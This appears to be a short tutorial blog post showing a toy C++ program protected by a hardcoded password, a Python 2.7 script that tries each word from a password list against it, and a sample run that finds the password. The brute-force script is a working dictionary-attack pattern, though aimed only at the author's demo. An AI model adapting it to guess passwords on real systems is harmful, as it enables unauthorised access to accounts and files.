Basic Idea of Creating Password Bruteforce tool

UpdatedNovember 2, 2022

Engineer, Developer, Information Security Researcher, Code Digging, Software Exploitation, Web App Penetration testing, and Reverse Engineering, Browser Tech, Scraping, Automation, Hacking

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/* Author: KroKite Description: Basic Bruteforcing Tools */ #include <iostream> #include<cstdlib> #include<cstring> using namespace std; // When passing char arrays as parameters they must be pointers int main(int argc, char** argv) { if (argc < 4) { // Check the value of argc. If not enough parameters than, inform user and exit. cout << "Usage is " << argv[0] << " -f <input filename> -p password\n"; exit(0); } else { // if we got enough parameters.. int i=1; while(i<=argc) { if (strcmp(argv[i],"-f") == 0) { cout << "File to Open: " << argv[i + 1] << endl; } if (strcmp(argv[i],"-p") == 0) { cout <<"Password is : " << argv[i + 1] << endl; if(strcmp(argv[i+1], "KroKite") == 0) { cout << "File Opening SuccessFul"<< endl; } else { cout << "Wrong Password"<< endl; } } i++; } } return 0; }

#!/usr/bin/python # Author : KroKite # Description: Basic Password Bruteforcing Tool. # Python Version: 2.7 import subprocess import re fo = open("password.txt", 'r'); for lines in fo: password = lines.split('\n') brute = subprocess.Popen(["./vulnerableApp", "-f", "foo.txt", "-p", password[0]], stdout=subprocess.PIPE) if(re.search("Success", brute.communicate()[0])): print "Password Cracked and your Password is ", password[0] exit() else: print password[0], " is not Password"

root@krokite# python krokite.py abcdef is not Password 123456 is not Password hacker is not Password bullshit is not Password wtf is not Password blackbuntu is not Password facebook is not Password twitter is not Password metallica is not Password Password Cracked and your Password is KroKite

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